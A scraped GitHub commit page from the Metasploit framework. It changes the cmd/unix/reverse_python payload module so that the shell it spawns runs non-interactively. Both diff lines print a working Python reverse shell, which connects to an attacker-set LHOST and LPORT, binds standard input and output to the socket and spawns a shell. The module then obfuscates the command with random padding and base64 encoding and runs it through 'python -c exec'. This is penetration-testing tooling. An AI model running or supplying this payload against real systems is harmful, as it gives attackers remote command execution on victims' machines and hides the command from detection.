Skip to content

Commit 4b54517

Browse files
author
Brent Cook
committed
Land rapid7#4864 @wvu-r7 changes reverse_python to be non-interactive
This avoids sourcing the shell RC scripts, writing history, etc.
2 parents ecd7ae9 + a648e74 commit 4b54517

File tree

1 file changed

+1
-1
lines changed

1 file changed

+1
-1
lines changed

modules/payloads/singles/cmd/unix/reverse_python.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -50,7 +50,7 @@ def random_padding
5050
#
5151

5252
def command_string
53-
raw_cmd = "import socket,subprocess,os;host=\"#{datastore['LHOST']}\";port=#{datastore['LPORT']};s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((host,port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\"#{datastore['SHELL']}\",\"-i\"]);"
53+
raw_cmd = "import socket,subprocess,os;host=\"#{datastore['LHOST']}\";port=#{datastore['LPORT']};s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((host,port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(\"#{datastore['SHELL']}\")"
5454
obfuscated_cmd = raw_cmd.gsub(/,/, "#{random_padding},#{random_padding}").gsub(/;/, "#{random_padding};#{random_padding}")
5555
encoded_cmd = Rex::Text.encode_base64(obfuscated_cmd)
5656
"python -c \"exec('#{encoded_cmd}'.decode('base64'))\""

0 commit comments

Comments
 (0)